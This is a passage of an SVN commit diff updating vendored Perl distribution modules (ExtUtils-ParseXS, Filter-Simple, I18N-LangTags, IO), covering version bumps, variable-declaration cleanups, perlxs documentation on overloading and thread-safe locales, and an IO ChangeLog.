===================================================================
--- vendor/perl/dist/dist/ExtUtils-ParseXS/lib/ExtUtils/ParseXS/Eval.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/dist/ExtUtils-ParseXS/lib/ExtUtils/ParseXS/Eval.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -2,7 +2,7 @@
 use strict;
 use warnings;
 
-our $VERSION = '3.34';
+our $VERSION = '3.39';
 
 =head1 NAME
 
@@ -29,7 +29,7 @@
 Not all these variables are necessarily considered "public" wrt. use in
 typemaps, so beware. Variables set up from the ExtUtils::ParseXS object:
 
-  $Package $Alias $func_name $Full_func_name $pname
+  $Package $ALIAS $func_name $Full_func_name $pname
 
 Variables set up from C<$other_hashref>:
 
@@ -63,7 +63,7 @@
 Not all these variables are necessarily considered "public" wrt. use in
 typemaps, so beware. Variables set up from the ExtUtils::ParseXS object:
 
-  $Package $Alias $func_name $Full_func_name $pname
+  $Package $ALIAS $func_name $Full_func_name $pname
 
 Variables set up from C<$other_hashref>:
 

Modified: vendor/perl/dist/dist/ExtUtils-ParseXS/lib/ExtUtils/ParseXS/Utilities.pm
===================================================================
--- vendor/perl/dist/dist/ExtUtils-ParseXS/lib/ExtUtils/ParseXS/Utilities.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/dist/ExtUtils-ParseXS/lib/ExtUtils/ParseXS/Utilities.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -5,7 +5,7 @@
 use File::Spec;
 use ExtUtils::ParseXS::Constants ();
 
-our $VERSION = '3.34';
+our $VERSION = '3.39';
 
 our (@ISA, @EXPORT_OK);
 @ISA = qw(Exporter);

Modified: vendor/perl/dist/dist/ExtUtils-ParseXS/lib/ExtUtils/ParseXS.pm
===================================================================
--- vendor/perl/dist/dist/ExtUtils-ParseXS/lib/ExtUtils/ParseXS.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/dist/ExtUtils-ParseXS/lib/ExtUtils/ParseXS.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -11,12 +11,12 @@
 
 our $VERSION;
 BEGIN {
-  $VERSION = '3.34';
+  $VERSION = '3.39';
+  require ExtUtils::ParseXS::Constants; ExtUtils::ParseXS::Constants->VERSION($VERSION);
+  require ExtUtils::ParseXS::CountLines; ExtUtils::ParseXS::CountLines->VERSION($VERSION);
+  require ExtUtils::ParseXS::Utilities; ExtUtils::ParseXS::Utilities->VERSION($VERSION);
+  require ExtUtils::ParseXS::Eval; ExtUtils::ParseXS::Eval->VERSION($VERSION);
 }
-use ExtUtils::ParseXS::Constants $VERSION;
-use ExtUtils::ParseXS::CountLines $VERSION;
-use ExtUtils::ParseXS::Utilities $VERSION;
-use ExtUtils::ParseXS::Eval $VERSION;
 $VERSION = eval $VERSION if $VERSION =~ /_/;
 
 use ExtUtils::ParseXS::Utilities qw(
@@ -519,9 +519,10 @@
 EOF
     }
     else {
-    # cv likely to be unused
+    # cv and items likely to be unused
     print Q(<<"EOF");
 #    PERL_UNUSED_VAR(cv); /* -W */
+#    PERL_UNUSED_VAR(items); /* -W */
 EOF
     }
 
@@ -871,6 +872,7 @@
 #XS_EUPXS(XS_$self->{Packid}_nil)
 #{
 #   dXSARGS;
+#   PERL_UNUSED_VAR(items);
 #   XSRETURN_EMPTY;
 #}
 #

Modified: vendor/perl/dist/dist/ExtUtils-ParseXS/lib/ExtUtils/Typemaps/Cmd.pm
===================================================================
--- vendor/perl/dist/dist/ExtUtils-ParseXS/lib/ExtUtils/Typemaps/Cmd.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/dist/ExtUtils-ParseXS/lib/ExtUtils/Typemaps/Cmd.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -2,7 +2,7 @@
 use 5.006001;
 use strict;
 use warnings;
-our $VERSION = '3.34';
+our $VERSION = '3.38';
 
 use ExtUtils::Typemaps;
 

Modified: vendor/perl/dist/dist/ExtUtils-ParseXS/lib/ExtUtils/Typemaps/InputMap.pm
===================================================================
--- vendor/perl/dist/dist/ExtUtils-ParseXS/lib/ExtUtils/Typemaps/InputMap.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/dist/ExtUtils-ParseXS/lib/ExtUtils/Typemaps/InputMap.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -2,7 +2,7 @@
 use 5.006001;
 use strict;
 use warnings;
-our $VERSION = '3.34';
+our $VERSION = '3.38';
 
 =head1 NAME
 

Modified: vendor/perl/dist/dist/ExtUtils-ParseXS/lib/ExtUtils/Typemaps/OutputMap.pm
===================================================================
--- vendor/perl/dist/dist/ExtUtils-ParseXS/lib/ExtUtils/Typemaps/OutputMap.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/dist/ExtUtils-ParseXS/lib/ExtUtils/Typemaps/OutputMap.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -2,7 +2,7 @@
 use 5.006001;
 use strict;
 use warnings;
-our $VERSION = '3.34';
+our $VERSION = '3.38';
 
 =head1 NAME
 

Modified: vendor/perl/dist/dist/ExtUtils-ParseXS/lib/ExtUtils/Typemaps/Type.pm
===================================================================
--- vendor/perl/dist/dist/ExtUtils-ParseXS/lib/ExtUtils/Typemaps/Type.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/dist/ExtUtils-ParseXS/lib/ExtUtils/Typemaps/Type.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -4,7 +4,7 @@
 use warnings;
 require ExtUtils::Typemaps;
 
-our $VERSION = '3.34';
+our $VERSION = '3.38';
 
 =head1 NAME
 

Modified: vendor/perl/dist/dist/ExtUtils-ParseXS/lib/ExtUtils/Typemaps.pm
===================================================================
--- vendor/perl/dist/dist/ExtUtils-ParseXS/lib/ExtUtils/Typemaps.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/dist/ExtUtils-ParseXS/lib/ExtUtils/Typemaps.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -2,7 +2,7 @@
 use 5.006001;
 use strict;
 use warnings;
-our $VERSION = '3.34';
+our $VERSION = '3.38';
 
 require ExtUtils::ParseXS;
 require ExtUtils::ParseXS::Constants;
@@ -781,7 +781,9 @@
                 $var.context.value().size());
   ',
     'T_OUT' => '    {
-            GV *gv = newGVgen("$Package");
+            GV *gv = (GV *)sv_newmortal();
+            gv_init_pvn(gv, gv_stashpvs("$Package",1),
+                       "__ANONIO__",10,0);
             if ( do_open(gv, "+>&", 3, FALSE, 0, 0, $var) )
                 sv_setsv(
                   $arg,

Modified: vendor/perl/dist/dist/ExtUtils-ParseXS/lib/perlxs.pod
===================================================================
--- vendor/perl/dist/dist/ExtUtils-ParseXS/lib/perlxs.pod	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/dist/ExtUtils-ParseXS/lib/perlxs.pod	2018-12-22 22:55:19 UTC (rev 12126)
@@ -418,9 +418,9 @@
 the B<xsubpp> compiler will need help to determine which variables are output
 variables.
 
-This keyword will normally be used to complement the CODE:  keyword.
+This keyword will normally be used to complement the CODE: keyword.
 The RETVAL variable is not recognized as an output variable when the
-CODE: keyword is present.  The OUTPUT:  keyword is used in this
+CODE: keyword is present.  The OUTPUT: keyword is used in this
 situation to tell the compiler that RETVAL really is an output
 variable.
 
@@ -454,7 +454,7 @@
 created if they didn't exist).  If for some reason, this behavior is
 not desired, the OUTPUT section may contain a C<SETMAGIC: DISABLE> line
 to disable it for the remainder of the parameters in the OUTPUT section.
-Likewise,  C<SETMAGIC: ENABLE> can be used to reenable it for the
+Likewise, C<SETMAGIC: ENABLE> can be used to reenable it for the
 remainder of the OUTPUT section.  See L<perlguts> for more details
 about 'set' magic.
 
@@ -654,8 +654,8 @@
 
      $status = rpcb_gettime( $timep );
 
-The XSUB will look like the code  which  follows.   A  CODE:
-block  is used to call the real rpcb_gettime() function with
+The XSUB will look like the code which follows.  A CODE:
+block is used to call the real rpcb_gettime() function with
 the parameters in the correct order for that function.
 
      bool_t
@@ -1027,7 +1027,7 @@
 control the argument stack for the XSUBs return values.  Occasionally one
 will want an XSUB to return a list of values rather than a single value.
 In these cases one must use PPCODE: and then explicitly push the list of
-values on the stack.  The PPCODE: and CODE:  keywords should not be used
+values on the stack.  The PPCODE: and CODE: keywords should not be used
 together within the same XSUB.
 
 The actual difference between PPCODE: and CODE: sections is in the
@@ -1197,7 +1197,7 @@
 =head2 The CLEANUP: Keyword
 
 This keyword can be used when an XSUB requires special cleanup procedures
-before it terminates.  When the CLEANUP:  keyword is used it must follow
+before it terminates.  When the CLEANUP: keyword is used it must follow
 any CODE:, or OUTPUT: blocks which are present in the XSUB.  The code
 specified for the cleanup block will be added as the last statements in
 the XSUB.
@@ -1332,8 +1332,13 @@
 Instead of writing an overloaded interface using pure Perl, you
 can also use the OVERLOAD keyword to define additional Perl names
 for your functions (like the ALIAS: keyword above).  However, the
-overloaded functions must be defined with three parameters (except
-for the nomethod() function which needs four parameters).  If any
+overloaded functions must be defined in such a way as to accept the number
+of parameters supplied by perl's overload system.  For most overload
+methods, it will be three parameters; for the C<nomethod> function it will
+be four.  However, the bitwise operators C<&>, C<|>, C<^>, and C<~> may be
+called with three I<or> five arguments (see L<overload>).
+
+If any
 function has the OVERLOAD: keyword, several additional lines
 will be defined in the c file generated by xsubpp in order to
 register with the overload magic.
@@ -1344,7 +1349,7 @@
 T_PTROBJ_SPECIAL below.
 
 To use the OVERLOAD: keyword, create an XS function which takes
-three input parameters ( or use the c style '...' definition) like
+three input parameters (or use the C-style '...' definition) like
 this:
 
     SV *
@@ -1361,6 +1366,10 @@
 multiple overloads with whitespace.  Note that "" (the stringify
 overload) should be entered as \"\" (i.e. escaped).
 
+Since, as mentioned above, bitwise operators may take extra arguments, you
+may want to use something like C<(lobj, robj, swap, ...)> (with
+literal C<...>) as your parameter list.
+
 =head2 The FALLBACK: Keyword
 
 In addition to the OVERLOAD keyword, if you need to control how
@@ -2051,12 +2060,19 @@
 
 This wrapping happens always when compiling Perl core source
 (PERL_CORE is defined) or the Perl core extensions (PERL_EXT is
-defined).  When compiling XS code outside of Perl core the wrapping
-does not take place.  Note, however, that intermixing the _r-forms
-(as Perl compiled for multithreaded operation will do) and the _r-less
-forms is neither well-defined (inconsistent results, data corruption,
-or even crashes become more likely), nor is it very portable.
+defined).  When compiling XS code outside of the Perl core, the wrapping
+does not take place before Perl 5.28.  Starting in that release you can
 
+ #define PERL_REENTRANT
+
+in your code to enable the wrapping.  It is advisable to do so if you
+are using such functions, as intermixing the C<_r>-forms (as Perl compiled
+for multithreaded operation will do) and the C<_r>-less forms is neither
+well-defined (inconsistent results, data corruption, or even crashes
+become more likely), nor is it very portable.  Unfortunately, not all
+systems have all the C<_r> forms, but using this C<#define> gives you
+whatever protection that Perl is aware is available on each system.
+
 =head1 EXAMPLES
 
 File C<RPC.xs>: Interface to some ONC+ RPC bind library functions.
@@ -2150,7 +2166,7 @@
 into it from the environment.  This is an important difference from a
 generic C language program, where the underlying locale is the "C"
 locale unless the program changes it.  As of v5.20, this underlying
-locale is completely hidden from pure perl code outside the lexical
+locale is completely hidden from pure Perl code outside the lexical
 scope of C<S<use locale>> except for a couple of function calls in the
 POSIX module which of necessity use it.  But the underlying locale, with
 that
@@ -2179,7 +2195,7 @@
 =item Non-locale-aware XS code
 
 Keep in mind that even if you think your code is not locale-aware, it
-may call a C library function that is.  Hopefully the man page for such
+may call a library function that is.  Hopefully the man page for such
 a function will indicate that dependency, but the documentation is
 imperfect.
 
@@ -2207,11 +2223,115 @@
 
 If the locale from the user's environment is desired, there should be no
 need for XS code to set the locale except for C<LC_NUMERIC>, as perl has
-already set it up.  XS code should avoid changing the locale, as it can
-adversely affect other, unrelated, code and may not be thread safe.
-However, some alien libraries that may be called do set it, such as
-C<Gtk>.  This can cause problems for the perl core and other modules.
-Starting in v5.20.1, calling the function
+already set the others up.  XS code should avoid changing the locale, as
+it can adversely affect other, unrelated, code and may not be
+thread-safe.  To minimize problems, the macros
+L<perlapi/STORE_LC_NUMERIC_SET_TO_NEEDED>,
+L<perlapi/STORE_LC_NUMERIC_FORCE_TO_UNDERLYING>, and
+L<perlapi/RESTORE_LC_NUMERIC> should be used to affect any needed
+change.
+
+But, starting with Perl v5.28, locales are thread-safe on platforms that
+support this functionality.  Windows has this starting with Visual
+Studio 2005.  Many other modern platforms support the thread-safe POSIX
+2008 functions.  The C C<#define> C<USE_THREAD_SAFE_LOCALE> will be
+defined iff this build is using these.  From Perl-space, the read-only
+variable C<${SAFE_LOCALES}> is 1 if either the build is not threaded, or
+if C<USE_THREAD_SAFE_LOCALE> is defined; otherwise it is 0.
+
+The way this works under-the-hood is that every thread has a choice of
+using a locale specific to it (this is the Windows and POSIX 2008
+functionality), or the global locale that is accessible to all threads
+(this is the functionality that has always been there).  The
+implementations for Windows and POSIX are completely different.  On
+Windows, the runtime can be set up so that the standard
+L<C<setlocale(3)>> function either only knows about the global locale or
+the locale for this thread.  On POSIX, C<setlocale> always deals with
+the global locale, and other functions have been created to handle
+per-thread locales.  Perl makes this transparent to perl-space code.  It
+continues to use C<POSIX::setlocale()>, and the interpreter translates
+that into the per-thread functions.
+
+All other locale-senstive functions automatically use the per-thread
+locale, if that is turned on, and failing that, the global locale.  Thus
+calls to C<setlocale> are ineffective on POSIX systems for the current
+thread if that thread is using a per-thread locale.  If perl is compiled
+for single-thread operation, it does not use the per-thread functions,
+so C<setlocale> does work as expected.
+
+If you have loaded the L<C<POSIX>> module you can use the methods given
+in L<perlcall> to call L<C<POSIX::setlocale>|POSIX/setlocale> to safely
+change or query the locale (on systems where it is safe to do so), or
+you can use the new 5.28 function L<perlapi/Perl_setlocale> instead,
+which is a drop-in replacement for the system L<C<setlocale(3)>>, and
+handles single-threaded and multi-threaded applications transparently.
+
+There are some locale-related library calls that still aren't
+thread-safe because they return data in a buffer global to all threads.
+In the past, these didn't matter as locales weren't thread-safe at all.
+But now you have to be aware of them in case your module is called in a
+multi-threaded application.  The known ones are
+
+ asctime()
+ ctime()
+ gcvt() [POSIX.1-2001 only (function removed in POSIX.1-2008)]
+ getdate()
+ wcrtomb() if its final argument is NULL
+ wcsrtombs() if its final argument is NULL
+ wcstombs()
+ wctomb()
+
+Some of these shouldn't really be called in a Perl application, and for
+others there are thread-safe versions of these already implemented:
+
+ asctime_r()
+ ctime_r()
+ Perl_langinfo()
+
+The C<_r> forms are automatically used, starting in Perl 5.28, if you
+compile your code, with
+
+ #define PERL_REENTRANT
+
+See also L<perlapi/Perl_langinfo>.
+You can use the methods given in L<perlcall>, to get the best available
+locale-safe versions of these
+
+ POSIX::localeconv()
+ POSIX::wcstombs()
+ POSIX::wctomb()
+
+And note, that some items returned by C<Localeconv> are available
+through L<perlapi/Perl_langinfo>.
+
+The others shouldn't be used in a threaded application.
+
+Some modules may call a non-perl library that is locale-aware.  This is
+fine as long as it doesn't try to query or change the locale using the
+system C<setlocale>.  But if these do call the system C<setlocale>,
+those calls may be ineffective.  Instead,
+L<C<Perl_setlocale>|perlapi/Perl_setlocale> works in all circumstances.
+Plain setlocale is ineffective on multi-threaded POSIX 2008 systems.  It
+operates only on the global locale, whereas each thread has its own
+locale, paying no attention to the global one.  Since converting
+these non-Perl libraries to C<Perl_setlocale> is out of the question,
+there is a new function in v5.28
+L<C<switch_to_global_locale>|perlapi/switch_to_global_locale> that will
+switch the thread it is called from so that any system C<setlocale>
+calls will have their desired effect.  The function
+L<C<sync_locale>|perlapi/sync_locale> must be called before returning to
+perl.
+
+This thread can change the locale all it wants and it won't affect any
+other thread, except any that also have been switched to the global
+locale.  This means that a multi-threaded application can have a single
+thread using an alien library without a problem; but no more than a
+single thread can be so-occupied.  Bad results likely will happen.
+
+In perls without multi-thread locale support, some alien libraries,
+such as C<Gtk> change locales.  This can cause problems for the Perl
+core and other modules.  For these, before control is returned to
+perl, starting in v5.20.1, calling the function
 L<sync_locale()|perlapi/sync_locale> from XS should be sufficient to
 avoid most of these problems.  Prior to this, you need a pure Perl
 statement that does this:
@@ -2218,9 +2338,7 @@
 
  POSIX::setlocale(LC_ALL, POSIX::setlocale(LC_ALL));
 
-In the event that your XS code may need the underlying C<LC_NUMERIC>
-locale, there are macros available to access this; see
-L<perlapi/Locale-related functions and macros>.
+or use the methods given in L<perlcall>.
 
 =back
 

Modified: vendor/perl/dist/dist/ExtUtils-ParseXS/t/XSTest.xs
===================================================================
--- vendor/perl/dist/dist/ExtUtils-ParseXS/t/XSTest.xs	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/dist/ExtUtils-ParseXS/t/XSTest.xs	2018-12-22 22:55:19 UTC (rev 12126)
@@ -76,6 +76,7 @@
 T_BOOL_2(in)
         bool in
     CODE:
+	PERL_UNUSED_VAR(RETVAL);
     OUTPUT: in
 
 void

Modified: vendor/perl/dist/dist/ExtUtils-ParseXS/t/XSUsage.xs
===================================================================
--- vendor/perl/dist/dist/ExtUtils-ParseXS/t/XSUsage.xs	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/dist/ExtUtils-ParseXS/t/XSUsage.xs	2018-12-22 22:55:19 UTC (rev 12126)
@@ -35,6 +35,8 @@
     ALIAS:
         two_x = 1
         FOO::two = 2
+    INIT:
+        PERL_UNUSED_VAR(ix);
 
 int
 interface_v_i()

Modified: vendor/perl/dist/dist/Filter-Simple/lib/Filter/Simple.pm
===================================================================
--- vendor/perl/dist/dist/Filter-Simple/lib/Filter/Simple.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/dist/Filter-Simple/lib/Filter/Simple.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -2,14 +2,12 @@
 
 use Text::Balanced ':ALL';
 
-use vars qw{ $VERSION @EXPORT };
+our $VERSION = '0.95';
 
-$VERSION = '0.93';
-
 use Filter::Util::Call;
 use Carp;
 
- at EXPORT = qw( FILTER FILTER_ONLY );
+our @EXPORT = qw( FILTER FILTER_ONLY );
 
 
 sub import {

Modified: vendor/perl/dist/dist/I18N-LangTags/lib/I18N/LangTags/Detect.pm
===================================================================
--- vendor/perl/dist/dist/I18N-LangTags/lib/I18N/LangTags/Detect.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/dist/I18N-LangTags/lib/I18N/LangTags/Detect.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -5,14 +5,14 @@
 package I18N::LangTags::Detect;
 use strict;
 
-use vars qw( @ISA $VERSION $MATCH_SUPERS $USING_LANGUAGE_TAGS
-             $USE_LITERALS $MATCH_SUPERS_TIGHTLY);
+our ( $MATCH_SUPERS, $USING_LANGUAGE_TAGS,
+             $USE_LITERALS, $MATCH_SUPERS_TIGHTLY);
 
 BEGIN { unless(defined &DEBUG) { *DEBUG = sub () {0} } }
  # define the constant 'DEBUG' at compile-time
 
-$VERSION = "1.06";
- at ISA = ();
+our $VERSION = "1.07";
+our @ISA = ();
 use I18N::LangTags qw(alternate_language_tags locale2language_tag);
 
 sub _uniq { my %seen; return grep(!($seen{$_}++), @_); }

Modified: vendor/perl/dist/dist/I18N-LangTags/lib/I18N/LangTags/List.pm
===================================================================
--- vendor/perl/dist/dist/I18N-LangTags/lib/I18N/LangTags/List.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/dist/I18N-LangTags/lib/I18N/LangTags/List.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -3,8 +3,8 @@
 package I18N::LangTags::List;
 #  Time-stamp: "2004-10-06 23:26:21 ADT"
 use strict;
-use vars qw(%Name %Is_Disrec $Debug $VERSION);
-$VERSION = '0.39';
+our (%Name, %Is_Disrec, $Debug);
+our $VERSION = '0.40';
 # POD at the end.
 
 #----------------------------------------------------------------------

Modified: vendor/perl/dist/dist/I18N-LangTags/lib/I18N/LangTags.pm
===================================================================
--- vendor/perl/dist/dist/I18N-LangTags/lib/I18N/LangTags.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/dist/I18N-LangTags/lib/I18N/LangTags.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -5,11 +5,10 @@
 require 5.000;
 package I18N::LangTags;
 use strict;
-use vars qw(@ISA @EXPORT @EXPORT_OK %EXPORT_TAGS $VERSION %Panic);
 require Exporter;
- at ISA = qw(Exporter);
- at EXPORT = qw();
- at EXPORT_OK = qw(is_language_tag same_language_tag
+our @ISA = qw(Exporter);
+our @EXPORT = qw();
+our @EXPORT_OK = qw(is_language_tag same_language_tag
                 extract_language_tags super_languages
                 similarity_language_tag is_dialect_of
                 locale2language_tag alternate_language_tags
@@ -17,9 +16,10 @@
                 implicate_supers
                 implicate_supers_strictly
                );
-%EXPORT_TAGS = ('ALL' => \@EXPORT_OK);
+our %EXPORT_TAGS = ('ALL' => \@EXPORT_OK);
 
-$VERSION = "0.42";
+our $VERSION = "0.43";
+our %Panic;
 
 sub uniq { my %seen; return grep(!($seen{$_}++), @_); } # a util function
 

Modified: vendor/perl/dist/dist/IO/ChangeLog
===================================================================
--- vendor/perl/dist/dist/IO/ChangeLog	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/dist/IO/ChangeLog	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,3 +1,115 @@
+IO 1.38 -- Apr 19 2018 - Todd Rinaldo
+  * Remove pre 5.8 logic from code base.
+  * Bump all IO modules to 1.38 and set required Perl to 5.8.1
+  * Fix for perl #125723
+  * IO test: adjust require for non CORE perl
+  * IO::Handle - fix precedence issue
+  * Document IO::Select error detection
+  * Rely on C89 <time.h>
+  * (perl #130856) deal with unpack_sockaddr_un() croaking
+  * Switch most open() calls to three-argument form.
+  * (perl #129788) IO::Poll: fix memory leak
+  * (perl #128095) check pack_sockaddr_un()'s return value
+  * dist/: remove . from @INC when loading optional modules
+  * Fix IO::Handle documentation mangled by a manually applied patch
+  * Make IO::Poll->poll call _poll even with an empty fd array
+  * Fix assertion when calling IO::Poll::_poll() with an empty fd array
+  * Some BSD implementations might have <sys/poll.h> instead of <poll.h>.
+
+IO 1.36 -- Jun 26 2015 (Not released to CPAN)
+  * dist/IO/t/io_utf8argv.t: Generalize for non-ASCII platforms.
+  * VMS does have fsync, so configure accordingly.
+  * Skip obsolete skip in io_xs.t.
+  * Label conditionally unused.
+  * Use <sys/poll.h> if available before going select().
+  * Fix assertion when calling IO::Poll::_poll() with an empty fd array
+  * Make IO::Poll->poll call _poll even with an empty fd array
+
+IO 1.35 -- Dec 7 2014 (Not released to CPAN)
+  * Change OP_SIBLING to OpSIBLING
+  * Improve connected() doc
+  * IRIX: fsync documented to fail on read-only filehandles.
+  * Convert all use of Test.pm to Test::More
+
+IO 1.34 -- Sep 10 2014 (Not released to CPAN)
+  * Add dual life support for use of op_sibling in IO.xs
+
+IO 1.33 -- Jun 10 2014 (Not released to CPAN)
+  * wrap op_sibling field access in OP_SIBLING* macros
+  *  Make like() and unlike() in t/test.pl refuse non-qr// arguments
+  * Further simplify the sockatmark(). (And do not assign the fd in PREINIT.)
+
+IO 1.32 -- May 29 2014 (Not released to CPAN)
+  * fcntl receiving -1 from fileno, fcntl failing.
+  * Also very few spots of negative numgroups for getgroups(), and fgetc() return, but almost all checking is for fcntl.
+  * merged fix for perl #121743 and perl #121745: hopefully picked up all the fixes-to-fixes from the ticket.
+  * Fix for Coverity perl5 CIDs 28990..29003,29005..29011,29013,45354,45363,49926
+  * Argument cannot be negative (NEGATIVE_RETURNS) fd is passed to a parameter that cannot be negative.
+  * CIDs 29004, 29012: Argument cannot be negative (NEGATIVE_RETURNS) num_groups is passed to a parameter that cannot be negative and because of CIDs 29005 and 29006 also CID 28924.
+  * In the first set of issues a fd is retrieved from PerlIO_fileno, and that is then used in places like fstat(), fchown(), dup(), etc., without checking whether the fd is valid (>=0).
+  * In the second set of issues a potentially negative number is potentially passed to getgroups().
+  * The CIDs 29005 and 29006 were a bit messy: fixing them needed also resolving CID 28924 where the return value of fstat() was ignored, and for completeness adding two croak calls (with perldiag updates): a bit of a waste since it's suidperl code. 
+
+IO 1.31 -- Mar 4 2014 (Not released to CPAN)
+  * dist/IO: Allow to be dual-lived - This dual-lived module has not been able to be compiled on releases earlier than 5.10.1.
+  * IO::Socket::INET: Handle getprotobyn{ame,umber} not being available
+  * dist/IO/t/io_pipe.t: Work around android only having an inbuilt echo
+  * Add examples for IO::Socket::UNIX.
+  * Remove an old note about autoflush from the POD.
+  * ioctl on perlhost platforms take a char*, not void*
+
+IO 1.30 --  Nov 13 2013 (Not released to CPAN)
+  * IO.xs: fix compiler warning
+  * [perl #75156] fix the return value and bits for removing a closed fh
+  * [perl #75156] tests for deleting a closed handle from IO::Select
+  * Fix IO::Socket::connect() in the light of $! changes
+
+IO 1.29 -- Mar 15 2013 (Not released to CPAN)
+  * Use separate macros for byte vs uv Unicode
+  * IO::Socket::INET's documentation for its Listen parameter was somewhat misleading, and the documentation for IO::Socket::Unix even more so.
+  * Address [perl #117999] for now by skipping known bad test on AIX
+  * [perl #117791] Clarify that write does not match the C 'write' semantics
+  *  fix dist/IO/t/cachepropagate-unix.t
+
+IO 1.28 -- Feb 2 2013 (Not released to CPAN)
+  * dist/IO/IO.xs: Silence compiler warning. This variable is unused, doesn't need to be declared.
+
+IO 1.27 -- Feb 17 2013 (Not released to CPAN)
+  * [perl #116322]: getc() and ungetc() with unicode failure (ungetc() had no knowledge of UTF-8. )
+
+IO 1.26 -- May 13 2009 - Jan 16 2013 (Not released to CPAN)
+  * portability to Haiku-OS for the cachepropagate-*.t tests
+  * sync() on a read-only file handle doesn't work on cygwin either
+  * [rt.cpan.org #61577] VMS doesn't support UNIX sockets
+  * add Test::More as a prereq to Makefile.PL
+  * document the limitations of protocol(), sockdomain(), socktype()
+  * [rt.cpan.org #61577] try to populate socket info when not cached
+  * [rt.cpan.org #61577] propagate socket details on accept
+  * [rt.cpan.org #61577] sockdomain and socktype undef on newly accepted sockets
+  * [perl #64772] check both input and output file handles for sync (This allows sync() to be called on directory handles.)
+  * [perl #64772] TODO test for sync on read only handle
+  * Convert some tests to Test::More
+  * Correct bug report email in docs from perl5-porters at perl.org to perlbug at perl.org
+  * Remove ‘use File::Spec’ from IO::File (It is not using it any more.)
+  * [RT #36079] Convert ` to '.
+  * use :raw to avoid interference from PERL_UNICODE when creating test data
+  * Make IO::Handle::getline(s) respect the open pragma (RT 66474)
+  * Fix setting sockets nonblocking in Win32
+  * Use the exception set in select (connect()) to early return when remote end is busy or in non existing port
+  * Keep verbatim pod within 79 cols
+  * Keep verbatim pod in IO.pm within 80 cols
+  * [perl #88486] IO::File does not always export SEEK*
+  * Explicitly force the load of IO::File in IO::Handle (see the discussion in [perl #87940]).
+  * Remove various indirect method calls in IO's docs
+  * IO::Select: allow removal of IO::Handle objects without fileno
+  * Actuall excise 'Apollo DomainOS' support. We officially killed it in 5.11.0. It hadn't worked for years before that.
+  * fix various compiler warnings from XS code (void return value)
+  * Only bind to localhost in tests: "in general, tests shouldn't be listening on all interfaces."
+  * Document IO::Socket getsockopt and setsockopt
+  * Convert sv_2mortal(newSVpvn()) to newSVpvn_flags(), for 5.11.0 and later. (
+  * Minor documentation and typo fixes.
+  * Move IO from ext to dist in core perl
+
 IO 1.25 -- Wed May 13 18:37:33 CDT 2009
   * Fix test warnings in io_dir
   * skip tests known to cause a segfault 5.10.0

Modified: vendor/perl/dist/dist/IO/IO.pm
===================================================================
--- vendor/perl/dist/dist/IO/IO.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/dist/IO/IO.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -7,7 +7,7 @@
 use strict;
 use warnings;
 
-our $VERSION = "1.38";
+our $VERSION = "1.39";
 XSLoader::load 'IO', $VERSION;
 
 sub import {

Modified: vendor/perl/dist/dist/IO/IO.xs
===================================================================
--- vendor/perl/dist/dist/IO/IO.xs	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/dist/IO/IO.xs	2018-12-22 22:55:19 UTC (rev 12126)
@@ -11,6 +11,10 @@
 #define PERLIO_NOT_STDIO 1
 #include "perl.h"
 #include "XSUB.h"
+#define NEED_eval_pv
+#define NEED_newCONSTSUB
+#define NEED_newSVpvn_flags
+#include "ppport.h"
 #include "poll.h"
 #ifdef I_UNISTD
 #  include <unistd.h>

Modified: vendor/perl/dist/dist/IO/Makefile.PL
===================================================================
--- vendor/perl/dist/dist/IO/Makefile.PL	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/dist/IO/Makefile.PL	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,6 +1,6 @@
 # This -*- perl -*- script makes the Makefile
 
-BEGIN { require 5.006_001 }
+BEGIN { require 5.008_001 }
 use ExtUtils::MakeMaker;
 use Config qw(%Config);
 my $PERL_CORE = grep { $_ eq 'PERL_CORE=1' } @ARGV;
@@ -19,12 +19,6 @@
   }
 }
 
-if ($] < 5.008 and !$PERL_CORE) {
-  open(FH,'>','typemap');
-  print FH "const char *            T_PV\n";
-  close(FH);
-}
-
 #--- Write the Makefile
 
 WriteMakefile(
@@ -35,6 +29,7 @@
   AUTHOR       => 'Graham Barr <gbarr at cpan.org>',
   PREREQ_PM    => {
     'Test::More' => 0,
+    'File::Temp' => '0.15',
   },
   ( $PERL_CORE
     ? ()

Modified: vendor/perl/dist/dist/IO/lib/IO/Dir.pm
===================================================================
--- vendor/perl/dist/dist/IO/lib/IO/Dir.pm	2018-11-30 20:25:27 UTC (rev 12125)
